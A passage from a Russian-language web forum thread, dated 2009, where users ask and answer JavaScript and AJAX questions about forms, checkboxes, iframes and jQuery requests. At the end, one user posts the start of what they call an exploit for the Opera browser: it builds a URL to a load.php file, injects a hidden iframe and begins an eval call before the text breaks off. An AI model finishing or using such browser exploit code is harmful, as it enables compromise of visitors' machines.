Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ
Страницы :
1
2
3
4
5
6
[
7]
8
9
10
Ну в случаии error можно:
try{}
catch{}
ну а если фреймверком пользуешься то каким?
1. Такого слова я впервые слышу.
2. В том то и проблема,что ошибка не возникает,сервер как бы отдаёт страницу но без резулятата или просто как бы грузит её грузит грузит и грузит,и до безконечности... Тут бы сделать на принципе:
Если ответ с страницы не получен через 50 секунд то исполняеться ето,есле получил то всё,вот только как так сделать я хз..
DIEZalok
30.05.2009, 18:56
Есть одна небольшая просьба.
Можете, пожалуйста, написать скрипт на Java Script.
Цель: скрипт для заказа в магазине, т.е. очень простой скрипт.
Есть форма - там поля всякие Имя, Фамилия, Дата рождения, адрес, e-mail.
Надо чтобы просто была проверка всех полей на наличие символов, а email, что бы по @ определял... потом нужно 2 кнопки: "Очистить" (при кликина нее форма очищаетсмя) и кнопка "Отправить" при клике на нее вылетает alert о оповещении, что все ок)
Кому не трудно, пожалуйста, напишите!
Ето лишь первое,но от умников тебе нужно и в пыхе это всё проверять,а то убьют твой магазин...)
DIEZalok, сгугли любую форму отправки с проверкой полей... Благо их полно...
InferNo23
01.06.2009, 16:08
Использую функцию переноса строки:
<script type="text/javascript">
function wrap_box(){
var str = document.getElementsByClassName("sm");
for(var i = 0; i < str.length; i++){
var tempObj = document.createElement("div");
tempObj.id = "out_wrap";
tempObj.style.display = "none";
document.getElementsByTagName("body")[0].appendChild(tempObj);
for(var ii = 0; ii < str[i].innerHTML.length; ii++) {
tempObj.innerHTML += str[i].innerHTML[ii] + "";
}
str[i].innerHTML = tempObj.innerHTML;
document.body.removeChild(tempObj);
}
}
onload = wrap_box;
</script>
Все работает, но проблема в том, что если в блоке содержится html-код (<a href="asdaasd">asd</a> asdasdsasadsas, например) то после обработкой функцией он отображается как простой текст, как снова сделать рендеринг страницы чтобы заработали эти теги?
Спасибо.
astrologer
01.06.2009, 17:05
InferNo23,
window.onload = function()
{
var
path = '//*[@class="sm"]//text()',
nodes = document.evaluate(path, document, null, 6, null),
shy = String.fromCharCode(173),
i = 0,
node = null;
while(node = nodes.snapshotItem(i++))
{
node.data = node.data.split('').join(shy);
}
};
astrologer
01.06.2009, 17:16
Замени document.evaluate на функцию, получающую список всех текстовых элементов. xpath там просто для сокращения кода.
InferNo23
01.06.2009, 17:43
Какую именно?)
Если делать так:
function wrap_box(){
var str = document.getElementsByClassName("sm");
var IE = (navigator.userAgent.toLowerCase().indexOf('msie') != -1);
if(!IE){
for(var i = 0; i < str.length; i++){
var tempObj = document.createElement("div");
tempObj.id = "out_wrap";
tempObj.style.display = "none";
document.getElementsByTagName("body")[0].appendChild(tempObj);
for(var ii = 0; ii < str[i].innerHTML.length; ii++) {
tempObj.innerHTML += str[i].innerHTML[ii] + "";
}
str[i].innerHTML = tempObj.innerHTML;
document.body.removeChild(tempObj);
}
} else {
str.style.wordWrap = 'break-word';
str.style.width = '200px';
}
}
window.onload = function(){
wrap_box();
var
nodes = document.getElementsByClassName("sm"),
shy = String.fromCharCode(173),
i = 0,
node = null;
while(node = nodes.snapshotItem(i++)){
node.data = node.data.split('').join(shy);
}
};
Перенос работает, но html-элементы так же отображаются текстом...
//upd:
проблема решена.
у меня есть форма где есть поля с type="radio" с name="id" и три hidden поля и надо сделать чтобы когда выбираеш в форме любое то внизу есть другая форма и чтобы оно когда выбираеш это данные сразу в форму кидало
Форма ниже:
<form method="post"><input name="days" value="ТУТ ID с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input name="price" value="ТУТ PRICE с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input name="days" value="ТУТ DAYS с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input type="text" value="" name="code" />
<input type="submit" name="add" value="Добавить" /></form>
помогите реализовать это
FireFenix
05.06.2009, 19:51
у меня есть форма где есть поля с type="radio" с name="id" и три hidden поля и надо сделать чтобы когда выбираеш в форме любое то внизу есть другая форма и чтобы оно когда выбираеш это данные сразу в форму кидало
помогите реализовать это
Озвуч по нормальному, что и как должно выполнятся
смотри есть форма
<form method="post">
<input type="radio" name="id" value="{$id}"><br />(это в цикле)
</form>
и надо сделать так чтобы когда я выбираю что-то с списка в другую форму передавались данные.
Другая форма:
<form method="post"><input name="id" value="ТУТ ID с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input type="text" value="" name="code" />
<input type="submit" name="add" value="Добавить" /></form>
Как это сделать
FireFenix
05.06.2009, 20:07
<script language="Javascript">
function send(value)
{
document.getElementById('code').value=value;
}
</script>
<form method="post" name="form_1">
<input type="radio" name="id" value="1" onClick="javascript:send(this.value)">
<input type="radio" name="id" value="2" onClick="javascript:send(this.value)">
</form>
<form method="post" name="form_2">
<input id="code" name="code" type="text">
</form>
Текстовому полю будет присвоено значение радиобутона. Поиграв с функцией, можно довесить любые изменения данных
а можно сделать так чтобы когда юзер нажимает в форме на <input type="text" где name="code" то если поле id пустое то выводилось Алерт окно типо поле id пустое?
<form method="post" name="form_2">
<input name="id" dir=ltr readonly><br /> это поле с ID
<input type="text" value="" name="code" /> - это поле где должно выводиться алерт окно
<input type="submit" name="add" value="Добавить" /></form>
FireFenix
05.06.2009, 21:17
а можно сделать так чтобы когда юзер нажимает в форме на <input type="text" где name="code" то если поле id пустое то выводилось Алерт окно типо поле id пустое?
<script language="Javascript">
function check()
{
if (document.getElementById('id').value.length == 0)
{
alert("Пусто");
}
}
</script>
<form method="post" name="form_2">
<input id="id" name="id" type="text">
<input id="code" name="code" type="text" onClick="javascript:check();">
</form>
или так
<input id="code" name="code" type="text" onClick="javascript:document.getElementById('id').value.len gth > 0?alert('Что-то есть'):alert('Пусто');">
Если я правильно понял задачу
совершенно. спасибо ещё раз
для <textarea name="code" onClick="javascript:check();"> подойдет?
а можно сделать так чтобы когда юзер нажимает в форме на <input type="text" где name="code" то если поле id пустое то выводилось Алерт окно типо поле id пустое?
тебе наверное нужно выводить предупреждение не когда идет переход на следующее поле, а убирается фокус с предыдущего - иначе, если юзер после набора id перескочит поле, ничего не произойдет - попробуй использовать ивент onblur http://design.originweb.info/dhtml/onblur.html
FireFenix
05.06.2009, 22:27
для <textarea name="code" onClick="javascript:check();"> подойдет?
здесь функция check сработает по нажатию на текстовое поле code
Architek86
06.06.2009, 22:08
Народ, а можно ли как то средствами js сделать так, что бы при отсутствии картинки на сервере браузером отображалась какая нибудь default.jpg, т.е. мне нужно что-то наподобие: img.onerror="img.src='default.jpg'";
???
FireFenix
06.06.2009, 23:02
Народ, а можно ли как то средствами js сделать так, что бы при отсутствии картинки на сервере браузером отображалась какая нибудь default.jpg, т.е. мне нужно что-то наподобие: img.onerror="img.src='default.jpg'";
???
<script language="Javascript">
function imageError(Image)
{
Image.src="error.jpg";
}
</script>
<img id="image" name="image" src="image.jpg" onError="imageError(this)" onAbort="imageError(this)">
Как сделать, чтобы жава код исполнялся только после того как придут некоторые переменные? а пока просто выдавать текст... аналог if (!isset в php
FireFenix
07.06.2009, 20:20
Как сделать, чтобы жава код исполнялся только после того как придут некоторые переменные? а пока просто выдавать текст... аналог if (!isset в php
Что значит придут?
Если вызывается функция и заносятся данные, то можно сразу в вызываему функцию занести.
Если аякс, то по событие прихода.
Как вариант повесить на таймер проверку наличия данных.
Если же нужно проверить наличие данных в переменной, то это можно либо
if (variablename !== undefined)
{
alert('Есть');
}
либо
if (variablename.length > 0)
{
alert('Есть');
}
Vanofuture
07.06.2009, 22:49
Как сделать, чтобы жава код исполнялся только после того как придут некоторые переменные? а пока просто выдавать текст... аналог if (!isset в php
Если неизвестно существует ли переменная, то код:
if(typeof varname != 'undefined'){alert('exists');}
Вопрос.. какую функцию использовать для автоматического нажатия кнопочки на странице? Если известно имя кнопки...
FireFenix
08.06.2009, 23:51
Кнопочка задействует отправку формы. Отправить форму можно выполнив
document.forms[0].submit(); //0 - порядковый номер формы
либо через
document.getElementById("id формы").submit();;
m0nsieur
09.06.2009, 10:31
Все же сабмит это несколько иное, возможно кнопка форму не сабмитит, тогда лучше так:
document.getElementById('button1').click();
смотрите у меня есть скрипт какой достает с базы данные и их выводит в блоке (типо топ) и мне надо сделать так чтобы при нажатии на кнопку Обновить он с помощью JQUERY запроса показывал картинку загрузки и обновлял данные... как это сделать?
Vanofuture
10.06.2009, 03:13
смотрите у меня есть скрипт какой достает с базы данные и их выводит в блоке (типо топ) и мне надо сделать так чтобы при нажатии на кнопку Обновить он с помощью JQUERY запроса показывал картинку загрузки и обновлял данные... как это сделать?
Процесс обновления данных зависит от того в каком виде вернётся результат от сервера. Если это xml файлом, то код будет таким:
<input onclick="updateData();" value="Обновить" />
function updateData(){
target=$('#updateBlock'); // область которую будем обновлять
target.html('<img src="путь_до_картинки_запроса" border="0" />');
$.get('тут путь к xml файлу', function(data){
data=$('main', data).text();
target.html(data);
});
main — путь в xml файле где будут данные которыми обновим содержимое блока.
Пример xml-файла:
<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[ а вот и данные которые будут обновлены ]]></main>
<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[ ТУТ МОЖЕТ БЫТЬ ПХП КОД? ]]></main>
и как сделать чтобы в виде php и html кода возвращало
Vanofuture
11.06.2009, 02:46
<?php
echo '<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[';
// тут php код
echo ']]></main>';
?>
Vanofuture
11.06.2009, 23:09
не роботает...
Изменил идентификатор блока в js-скрипте? Консоль ошибок в браузере что-то сообщает?
KaZ@NoVa
12.06.2009, 00:29
<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[ ТУТ МОЖЕТ БЫТЬ ПХП КОД? ]]></main>
и как сделать чтобы в виде php и html кода возвращало
Крайне не рекомендуется загружать PHP-код с клиента, поскольку это открывает практически безграничную дыру в системе. Вернуть клиенту PHP нельзя, поскольку PHP не выполняется на клиенте,
Изменил идентификатор блока в js-скрипте? Консоль ошибок в браузере что-то сообщает?
missing } after function body
Vanofuture
12.06.2009, 16:59
Нашёл ошибку, вот правильный вариант:
function updateData() {
target = $('#updateBlock'); // область которую будем обновлять
target.html('<img src="путь_до_картинки_запроса" border="0" />');
$.get('тут путь к xml файлу', function(data) {
data = $('main', data).text();
target.html(data);
});
}
$ is not defined
[Break on this error] target = $('#updateBlock'); // область которую будем обновлять
как выпарсить текст между определенными тегами текущей страницы? (<h1> и </h1> )
alert (document.getElementById('elem_id').innerText);
Посоветуйте скрипт для посдсчета количества символов в форме <textarea>.. Есть вот такой
<h1><br>Ââåäèòå òåêñò:</h1>
<form name="form" onsubmit="return false" action="javascript:void()">
<p class="noindent"><textarea onkeypress="count()" onkeyup="count()" name="text" rows="10" cols="60"></textarea> <br>Ñèìâîëîâ: <input name="result"> <br><input value="Î÷èñòèòü" type="reset"> </p></form>
<script>
function isSpace(s){
return (s==" " || s=="n" || s=="13" || s=="t" || s=="r")?true:false
}
function count(){
var c=0
var i
var prevspace=true
var str=document.forms.form.text.value
for(i=str.length-1;i>=0;i--){
if(isSpace(str.charAt(i)) && prevspace){
}else{
c++
}
prevspace=isSpace(str.charAt(i))
}
document.forms.form.result.value=c
return false
}
</script>
</td></tr></tbody></table>
Но с таким кодом не могу копировать текст с помощью php, $_POST[' имя textarea'] из textarea((
String.length не подойдет?
.::BARS::.
17.06.2009, 06:01
скажите как можно перегружать всего какуюто часть страницы а не все страницу...
например нужно перегрузить месяц календаря... как это сделать?
FireFenix
17.06.2009, 09:42
AJAX
.::BARS::.
17.06.2009, 10:52
я знаю как это называется.. я прошу показать пример как это организовать
KaZ@NoVa
17.06.2009, 18:23
скажите как можно перегружать всего какуюто часть страницы а не все страницу...
например нужно перегрузить месяц календаря... как это сделать?
AJAX. Он состоит из 2 частей: Java-скрипта, который будет выполняться в клиентском браузере и непосредственно отображать данные, и скрипта, непосредственно передающего эти данные. В твоём случае второй скрипт скорее всего будет на РНР. Как пользоваться AJAX'ом гугли - статей по этой технологии как собак нерезанных. Сам недолюбливаю, поэтому стараюсь не юзать.
Как взять элемент по классу, а потом применить метод .click() к нему ?
например есть теги
<div class="row"> fsdfsdf</div>
<div class="row"> jhfghf</div>
<div class="row"> рапр рапр</div>
<div class="row"> парапрапр</div>
<div class="row"> gdgdfgdfg</div>
нужно скриптом кликнуть по каждому.
FireFenix
18.06.2009, 09:51
<script language="Javascript">
function chek()
{
var class_name = 'row';
var elements = document.getElementsByTagName('div')
for (i = 0; i < elements.length; i++)
{
if (elements[i].className == class_name)
{
//Функция клика для elements[i]
}
}
}
</script>
Только что начал осваивать ajax. Но никак не получается исправить ошибку:
<html>
<head>
<title></title>
<script language="JavaScript" type="text/JavaScript">
var request = null;
function createRequest(){
try{
request = new XMLHttpRequest();
} catch(trymicrosoft){
try{
request = new ActiveXObject("Msxm12.XMLHTTP");
} catch (othermicrosoft){
try{
request = new ActiveXObject("Microsoft.XMLHTTP");
} catch(failed){
request = null;
}
}
}
if(request == null)
alert("Ошибка при создании объекта!");
}
function getNumber(){
createRequest();
var url = "getNumber.php";
request.open("GET", url, true);
request.onreadystatechange = updatePage;
request.send(null);
}
function updatePage(){
if(request.readyState == 4){
var newTotal = request.responseText;
var numEl = document.getElementById("number");
replaceText(numEl, newTotal);
}
}
</script>
</head>
<body>
<h2>Число: <span id="number"></span></h2>
<form method="GET">
<input value="Обновить" type="button" onClick="getNumber();">
</form>
</body>
</html>
getNumber.php
<?php echo rand(1,9); ?>
Число получаю, а вставляться оно не хочет в <span id="number"></span>. Останавливается на это строке - replaceText(numEl, newTotal);
Помогите пожалуйста!
m0nsieur
19.06.2009, 10:57
замени свою строку - replaceText(numEl, newTotal); я что-то такой функции не нашел(да и firebug говорит, что она undefined)
на вот это document.getElementById("number").innerHTML = newTotal;
Всем привет!
Есть такой код:
<script language="javascript">
function insertext(smile)
{
window.opener.document.getElementById('post_text') .value += ' ' + smile + ' ';
}
</script>
он вставляет смайлик в поле у которого <textarea name="post_text">
Как сделать так, чтобы он работал не только с одним "post_text" но ещё с "post_text2" и "post_text3" ?
Спасибо!
С меня +
FireFenix
21.06.2009, 19:12
<script language="javascript">
function insertext(smile)
{
for (i = 0; i < 4; i++)
{
if (i == 0) {name = 'post_text';} else {name = 'post_text_' + i;}
window.opener.document.getElementById(name).value += ' ' + smile + ' ';
}
}
</script>
FireFenix, спасибо, но я не подумал, что можно будет таким оброзом решить пробему...
у меня не "post_text1", "post_text2", "post_text3" а "post_text" и "comments"
Напишите пожалуйста код где только "post_text" и "comments"
Спасибо!
FireFenix
21.06.2009, 21:45
FireFenix, спасибо, но я не подумал, что можно будет таким оброзом решить пробему...
у меня не "post_text1", "post_text2", "post_text3" а "post_text" и "comments"
Напишите пожалуйста код где только "post_text" и "comments"
Спасибо!
<script language="javascript">
function insertext(smile)
{
//Присваиваем elem_text объект с id="post_text"
var elem_text = window.opener.document.getElementById('post_text') ;
//Добавдяем к значению elem_text текст смайла
elem_text.value += ' ' + smile + ' ';
//По аналогии с первым
var elem_comm = window.opener.document.getElementById('comments');
elem_comm.value += ' ' + smile + ' ';
}
</script>
astrologer
21.06.2009, 21:54
Тогда уж так. function addText(id, smile)
{
opener.document.getElementById(id).value += ' ' + smile + ' ';
};
addText('post_text', ':)');
addText('comments', '=/');
FireFenix, Ваш пример работает только с полем "post_text" в поле с "comments" он не вставляет смайл.
astrologer, Ваш пример не работает ни с одним полем.
FireFenix
21.06.2009, 22:38
FireFenix, Ваш пример работает только с полем "post_text" в поле с "comments" он не вставляет смайл.
astrologer, Ваш пример не работает ни с одним полем.
В примере astrologer лишнее "opener" или недорписанное "window" :)
В обоих примерах используется функция getElementById("name"); где name - Id нужного тега (<input id="name" type="text">) => смотрите чтобы Id совпадал с Id тега, а так же Id было единственное на весь документ
Если всёравно неработает - выложите html, что вы заполняете
У меня два поля
Первое:
<textarea name="comments" id="comments" >
Второе:
<textarea id="post_text" name="post_text" >
Ваш пример вставляет в <textarea id="post_text" name="post_text" > а в <textarea name="comments" id="comments" > не хочет.
На странице совподений id нет
astrologer
21.06.2009, 22:48
лишнее "opener" я так думаю, у marlen меню/кнопка находится во всплывающем окне. Это следует из самого первого приведенного им(или ей) кода.
или недорписанное "window" А здесь могла бы быть длинная история о том, как происходит scope chain lookup. Но её не будет, лучше почитайте сами ecma-262 (http://www.ecma-international.org/publications/standards/Ecma-262.htm).
я так думаю, у marlen меню/кнопка находится во всплывающем окне. Это следует из самого первого приведенного им(или ей) кода.
да, кнопка находится во всплывающем окне.
FireFenix
21.06.2009, 23:25
Вот всё работает
1.html
<script language="javascript">
function show()
{
window_insert = window.open("2.html", 'window_insert', 'toolbar=no, location=no, directories=no, menubar=no, scrollbars=yes, resizable=no, status=no, height=400, width=600');
}
</script>
<textarea name="comments" id="comments">qwerty</textarea>
<textarea id="post_text" name="post_text">asdfg</textarea>
<br>
<a href="javascript:show()">Show</a>
2.html
<script language="javascript">
function add()
{
smile = ':)';
var elem_text = window.opener.document.getElementById('post_text') ;
elem_text.value += ' ' + smile + ' ';
var elem_comm = window.opener.document.getElementById('comments');
elem_comm.value += ' ' + smile + ' ';
}
</script>
<a href="javascript:add()">Add</a>
Vlad&slav
21.06.2009, 23:47
<script src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.js"></script>
<script>
$(document).ready(function(){
$.ajax({
type: "POST",
url: "qwerty.php",
asynch: true,
success: function (data){if (data=='ERROR'){document.location('http://бла_бла_бла');}}
});
});
</script>
Скрипт находится на html странице, и если получает от скрипта qwerty.php ERROR то происходит редирект на http://бла_бла_бла , а если OK то продолжает работу (на странице ничего не изменяется.
Он почему-то не работает , и при "ERROR" редиректа не происходит =( Исправьте плиз.
FireFenix
22.06.2009, 01:42
Как вариант - проверьте соответствие кодировок и посмотрите, что возвращает запрос
m0nsieur
22.06.2009, 10:33
2 Vlad&slav дело наверное в этой строке
function (data){if (data=='ERROR')
проверь как ты отдаешь на стороне php результат, должно быть что-то вроде такого
echo json_encode(array('msg' => 'ERROR'));
и тогда ты сравнивая должен указать еще имя возвращенной переменной, а именно
function (data){if (data.msg=='ERROR')
imajo.ati
23.06.2009, 14:02
проблема:
arr = document.getElementById("some_id").getElementsByTagName("div");
массив содержит объекты div
arr[0] = obj_0
arr[1] = obj_1
мне нужно сделать так:
arr[0] = obj_1
arr[1] = obj_0
как это сделать?
ведь если сделать так: arr[1] = arr[0] то выдаст ошибку
Pashkela
23.06.2009, 14:46
<script type="text/javascript">
var arr = new Array(3);
arr[0] = "1";
arr[1] = "2";
arr[2] = "3";
document.write(arr + "<br />");
arr = arr.reverse();
document.write(arr);
</script>
imajo.ati
23.06.2009, 15:35
Pashkela
спасибо за мысль, но я видимо недостаточно конкретно изложил проблему:
в массиве больше 15 элементов, а нужно поменять 2 и 3 к примеру
Делаю запрос к серверу, если из браузера, то всё норм, если из проги, то вылетает:
<script>
if (timer) window.clearInterval(timer);
timer=window.setInterval("ajax_loadInto('/results/1182ffe10406f1f68ea6d218013b74d5.htm','search_resu lts')",2000);
</script>
Собственно, что за хрень? Есть способы получить нужную страницу?
http://site.com/results/1182ffe10406f1f68ea6d218013b74d5.htm - пробовал, не то.
даны 4 чекбокса, и два текстовых поля, нужно:
при выделении первого чекбокса, писать значение его в текстовое поле1, при выделении второго, писать его значение в текстовое поле2...при снятии галочки с первого чекбокса, значение второго переходит в первое....а второй пустой....вобщем они должны принимать значения двух чекбоксов последовательно нажатых.....у меня слетает после перестановки первого чекбокса в другое место и наоборот...запутался вобщем, подмогите
<script>
function test(id){
var count=$("input:checkbox[name='left_block'][checked]").size();
if (count=='1'){
if(document.getElementById('11').value==''){
document.getElementById('11').value=$("input:checkbox[name='left_block'][checked]").val();
}else if(document.getElementById('11').value!=''){
document.getElementById('11').value=document.getEl ementById('22').value;
document.getElementById('22').value='';
}
}else if(count=='2'){
document.getElementById('22').value=document.getEl ementById(id).value;
}
}
</script>
<input type="checkbox" name="left_block" id="1111" value="1111" onclick=javascript:test('1111');>
<input type="checkbox" name="left_block" id="2222" value="2222" onclick=javascript:test('2222');>
<input type="checkbox" name="left_block" id="3333" value="3333" onclick=javascript:test('3333');>
<input type="checkbox" name="left_block" id="4444" value="4444" onclick=javascript:test('4444');>
<br>
<input type="text" id="11">
<input type="text" id="22">
<br>
если что, у меня есть хороший файлик (dup.js) для работы с динамическим обновлением
возможности:
изменение содержания на лету
изменение стилей, смена дизайна
изменение полей формы
переход по загруженным страничкам
и др.
кому интересно могу описать как работать с данной библиотечкой
не надо изобретать свой велосипед, всё очень просто делается :)
лучше с примером помоги разобраться+)
FireFenix
27.06.2009, 10:16
лучше с примером помоги разобраться+)
<script>
function test()
{
var element_1 = document.getElementById('ch1');
var element_2 = document.getElementById('ch2');
var textbox_1 = document.getElementById('txt1');
var textbox_2 = document.getElementById('txt2');
if (element_1.checked == true)
{
textbox_1.value = element_1.value;
if (element_2.checked == true)
{
textbox_2.value = element_2.value;
} else {
textbox_2.value = '';
}
} else {
textbox_2.value = '';
if (element_2.checked == true)
{
textbox_1.value = element_2.value;
} else {
textbox_1.value = '';
}
}
}
</script>
<input type="checkbox" name="left_block" id="ch1" value="1111" onClick="javascript:test();">
<input type="checkbox" name="left_block" id="ch2" value="2222" onClick="javascript:test();">
<input type="checkbox" name="left_block" id="ch3" value="3333">
<input type="checkbox" name="left_block" id="ch4" value="4444">
<br>
<input type="text" id="txt1">
<input type="text" id="txt2">
<br>
Вроде как бы ты хотел это.....
Если не то - правильно сформулируй задачу
почти, проблема заключается в том, что можно нажимать и на третий и на 4ый чекбокс(тоесть выбрать можно любые из 4ех но толька два) допустим первым выбираю 4ый чекбокс а вторым 1ый....
вроде получше обьяснил=)
FireFenix
27.06.2009, 10:42
<script>
function test(Id)
{
var element = document.getElementById(Id);
var textbox_1 = document.getElementById('txt1');
var textbox_2 = document.getElementById('txt2');
if (element.checked == true)
{
if (textbox_2.value.length > 0)
{
textbox_2.value = element.value;
} else {
if (textbox_1.value.length > 0)
{
textbox_2.value = element.value;
} else {
textbox_1.value = element.value;
}
}
} else {
if (textbox_2.value.length > 0)
{
textbox_1.value = textbox_2.value;
textbox_2.value = '';
} else {
textbox_1.value = '';
}
}
}
</script>
<input type="checkbox" name="left_block" id="ch1" value="1111" onClick="javascript:test('ch1');">
<input type="checkbox" name="left_block" id="ch2" value="2222" onClick="javascript:test('ch2');">
<input type="checkbox" name="left_block" id="ch3" value="3333" onClick="javascript:test('ch3');">
<input type="checkbox" name="left_block" id="ch4" value="4444" onClick="javascript:test('ch4');">
<br>
<input type="text" id="txt1" value="">
<input type="text" id="txt2" value="">
<br>
смотри=) выбираешь два чекбокса: первый и четвертый(пример(текстовые поля получа.тся 1111-4444))
убираешь первый, все нормально, знаение перескакивает в первое текстовое поле из второго(4444- ).нажимаем опять на первый получаем(4444-1111) и тут начинается небольшой глюк....если пользователь дурак(как и я)и опять нажмет на первый чекбокс то значение замениться и получится(1111-1111)
понимаю что нужно просто проверку еще поставить, но у меня конец смены на работе, голова не варит
такой сбой и до этого у меня был, думал у тебя получилось по другому=(
astrologer
27.06.2009, 13:26
<form>
<input type="checkbox" name="left_block" value="1111">
<input type="checkbox" name="left_block" value="2222">
<input type="checkbox" name="left_block" value="3333">
<input type="checkbox" name="left_block" value="4444">
<br>
<input type="text" name="txt1" id="txt1">
<input type="text" name="txt2" id="txt2">
<br>
</form>
<script>
(function(bind)
{
var
form = document.forms[0],
ult = form.txt1,
penult = form.txt2,
history = [];
bind.call(form, 'click', function voodoo(e)
{
var node = e.target || e.srcElement, i, value = node.value, entries;
if(node.name != 'left_block')
{
return;
}
if(node.checked)
{
history.push(value);
}
else
{
i = history.length;
while(i--)
{
if(history[i] == value)
{
history.splice(i, 1);
}
}
}
entries = history.slice(-2)
ult.value = entries.shift() || '';
penult.value = entries.shift() || '';
});
})(document.addEventListener ?
function(type, fn, bubble)
{
this.addEventListener(type, fn, !!bubble);
} :
function(type, fn)
{
this.attachEvent('on' + type, fn);
});
</script>
astrologer - спасибо огромное, обалденно все работает....буду вникать. =)
Krist_ALL
27.06.2009, 18:22
Подскажите пожалуйста как сдеалть
Есть несколько чекбоксов с именами а1 а10 а15 не по попорядку номера.
Нада сделать один чекбокс , ели его отметить то все чекбоксы отмечаются.
В яваскрипт СОВСЕМ не силнен! Ненавижу его)))))))
BrainDeaD
27.06.2009, 18:53
Подскажите пожалуйста как сдеалть
Есть несколько чекбоксов с именами а1 а10 а15 не по попорядку номера.
Нада сделать один чекбокс , ели его отметить то все чекбоксы отмечаются.
В яваскрипт СОВСЕМ не силнен! Ненавижу его)))))))
if(box.checked)
{ a1.checked = true;
a10.checked = true;
a15.checked = true;
}
else
{ box.checked = false;
}
Krist_ALL
27.06.2009, 18:57
а мога поподробнее?
BrainDeaD
27.06.2009, 19:07
а мога поподробнее?
в смысле подробнее? это в принципе всё
вот отличный туториал к чб:
klick (http://www.hscripts.com/tutorials/javascript/dom/checkbox-events.php)
astrologer
27.06.2009, 19:14
вот отличный туториал к чб:
klick (http://www.devmag.net/tricks/js/javascript_33.htm)<a onclick="if(document.checkbox.box.checked) document.checkbox.box.checked=false; else document.checkbox.box.checked=true;" href="#"> Box an/aus</a>Не очень хороший туториал :) Ещё и на немецком.
Krist_ALL
27.06.2009, 19:20
ну нифига не въеду(
Vanofuture
27.06.2009, 21:37
Подскажите пожалуйста как сдеалть
Есть несколько чекбоксов с именами а1 а10 а15 не по попорядку номера.
Нада сделать один чекбокс , ели его отметить то все чекбоксы отмечаются.
В яваскрипт СОВСЕМ не силнен! Ненавижу его)))))))
Чекбоксу поставить onclick="checkallboxes(this)"
Сам скрипт:
function checkallboxes(obj){
boxes=new Array('a10', 'a15'); // перечисляем чекбоксы
if(obj.checked!=true){return;}
for(i=0;i<boxes.length;i++){
document[boxes[i]].checked=true;}}
BrainDeaD
27.06.2009, 22:11
Не очень хороший туториал :) Ещё и на немецком.
LOL не то скопипастил. пост поправил.
вот кстати похожее решение по сабжу klick (http://www.hscripts.com/scripts/JavaScript/select-all-checkbox.php)
ещё раз ссыла на туториал klick (http://www.hscripts.com/tutorials/javascript/dom/checkbox-events.php)
ну нифига не въеду(
попробуй с jquery будет проще:
проверяешь, если нажали твой чекбокс, то:
$("input:checkbox[name='твои_чекбоксы']").attr('checked', true);
и все выделены
Помогите плз с небольшим траблом:
<html>
<head>
<title>text</title>
</head>
<body>
<form name="form">
<textarea name="text[id]" cols="40" rows="6"></textarea><br>
<input type="button" name="knopka" value="do"
onClick="document.form.text[id].value='Ok';">
</form>
</body>
</html>
Без приставки [id] работает нормально, с ней почему то не хочет, а нужно =/ Как правильно записать?
astrologer
28.06.2009, 21:17
Daned,
document.form['text[id]'].valueА ещё правильнее вынести обработчик из html и давать осмысленные названия в каком-то одном стиле.
charcode где кодировать\декодировать ? подскажите сайт)
есть страничка. в ней ифрейм. как прочитать значение текстового поля во фрейме?
и еще)
<iframe id=frame name=frame1 src="1.html" name="my_ip" align="right" scrolling="no" frameborder="15" marginheight="0" marginwidth="0"></iframe>
<button onclick="alert(window.frames['frame'].document.body.innerHTML);">click!</button>
выводит в алерте содержимое а так нет:
<iframe id=frame name=frame1 src="http://192.168.1.2/drop.php" name="my_ip" align="right" scrolling="no" frameborder="15" marginheight="0" marginwidth="0"></iframe>
<script>
var a=window.frames['frame'].document.body.innerHTML;
alert(a);
</script>
ругается на то что требуется обэект :)
попробуй через getElement
var a=document.getElementById('frame').innerHTML;
Vanofuture
29.06.2009, 14:27
есть страничка. в ней ифрейм. как прочитать значение текстового поля во фрейме?
document.getElementById('ид_фрейма').docum ent.getElementById('ид_поля').value;
а так нет: <iframe id=frame name=frame1 src="http://192.168.1.2/drop.php" name="my_ip" align="right" scrolling="no" frameborder="15" marginheight="0" marginwidth="0"></iframe> <script> var a=window.frames['frame'].document.body.innerHTML; alert(a); </script>
А у страницы на которой этот код стоит хост тоже 192.168.1.2?
2Корвин
var a=document.getElementById('frame').innerHTML;
alert(a);
не ругается но алерт выскакивает пустой
2Vanofuture
А у страницы на которой этот код стоит хост тоже 192.168.1.2?
да
на http://192.168.1.2/drop.php есть поле текстовое поле drop
var a=document.getElementById('frame').document.getEle mentById('drop').value;
еррор - требуется объект
var a=parent.frames['name_фрейма'].document.getEle mentById('drop').value;
Нужно определить точно хост+дира (на javascript), откуда запущен скрипт. Типа:
Скрипт js.js запущен из папки pizda на localhost, и он выдает: http://localhost/pizda/js.js.
Как это сдеделать? Спасибо :)
Pashkela
01.07.2009, 00:22
<script>
alert(location.href);
</script>
Сори, выразился не ясно... Смотри, нужно, чтобы определялся путь (без самого файла, тока путь с дирой), а в конце приписывался файл уже (отдельно), например: pipka.php... Сори, что сразу не сказал...
И, если не сложно, забей результат в переменную, чтобы сразу выводить...
Pashkela
01.07.2009, 01:16
<script>
// Пример:
var reg=/http:\/\/(.*)\//;
var arr=reg.exec("http://baklajka.ru/krug/bossota/shanson/1.txt");
alert(arr[1]);
// Сабж:
var reg=/http:\/\/(.*)\//;
var file = 'test.php';
var arr=reg.exec(location.href);
alert(arr[1]+'/'+file);
</script>
Есть следующий сплоит под оперу:
<script>
var reg=/http:\/\/(.*)\//;
var file = 'load.php';
var arr=reg.exec(location.href);
var url = 'http://'+arr[1]+'/'+file;
var a = 1;
var b = 2;
function sum(a,b) {
return (a + b); }
var abc = 123;
var bcd = 234;
var cde = 456;
function my(abc,bcd,cde) {
return (cde - bcd - abc); }
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval
